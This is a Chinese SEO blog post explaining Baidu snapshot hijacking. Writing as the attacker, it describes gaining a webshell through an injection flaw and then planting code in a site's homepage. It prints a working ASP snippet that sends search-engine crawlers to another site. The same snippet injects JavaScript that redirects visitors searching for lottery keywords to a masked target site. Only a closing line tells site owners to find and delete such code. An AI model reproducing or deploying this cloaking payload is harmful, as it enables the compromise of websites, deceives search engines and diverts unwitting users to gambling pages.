百度快照劫持是如何实现的?

作者:admin| 阅读: 发表时间:2018-03-14 17:12 成都seo
摘要:相信很多从事与SEO行业的小伙伴都有过想要快速的通过互联网这个大型动态内容生态网络获得效益的想法,一般想要实现这个想法的途径就是从黑帽seo入手,其中见效最快的又以 百度快......

  相信很多从事与SEO行业的小伙伴都有过想要快速的通过互联网这个大型动态内容生态网络获得效益的想法,一般想要实现这个想法的途径就是从黑帽seo入手,其中见效最快的又以百度快照劫持为首,相对于百度快照劫持技术、新闻源劫持、寄生虫这些方法效果就显得没有那么明显了。那么百度快照劫持是如何实现的呢?
 

  首先我们要知道黑客是如何通过黑帽技术进行快照劫持的,线面成都seo浅滩小编就来为大家讲解一下。

  

百度快照是如何被黑客篡改的 经验心得 第2张

 

  黑客是怎么修改baidu快照的?
 

  一般黑帽seo技术进行快照劫持,都是寻找漏洞注入,写入代码,获取网站webshell,做完这一步我们就拿到了网站的控制权利,然后剩下的就是找到首页文件放入我们事先编辑好的劫持代码,劫持代码一般都是放在网站首页<head>和</head>标签之间。
 

  代码为:

  <%

  function Getbot()

  dim s_agent

  GetBot=""

  s_agent=Request.ServerVariables("HTTP_USER_AGENT")

  if instr(1,s_agent,"googlebot",1) > 0 then

  GetBot="google"

  end if

  if instr(1,s_agent,"baiduspider",1) > 0 then

  GetBot="baidu"

  end if

  end function

  if GetBot="baidu" or GetBot="google" then

  '

  Response.Redirect "http://*********"(跳转的网站,引导百度抓取的内容)

  else

  '

  Response.Write"<script type=""text/javascript"">var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location='http://*********';(目标网站)window.adworkergo='ad_app6'}else{}</script>"

  end if

  %>
 

  这串代码起到的作用就是直接引导原网站的蜘蛛,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示我们事先准备好的内容。
 

  针对不同的网站管理系统方式也有所不同,但基本上都是大同小异的,百度快照劫持就是这么简单,所以当你的网站收到劫持的时候你可以直接在首页文件或者css、js文件中查找到劫持代码直接删除即可,待下次百度更新的时候网站快照就会恢复正常。



本文为admin原创,链接: http://www.seo028.cn/seoskill/143.html,转载请注明出处!

如果您有网站服务需求,可以添加作者QQ(点击图标即可添加):
成都seo

隐藏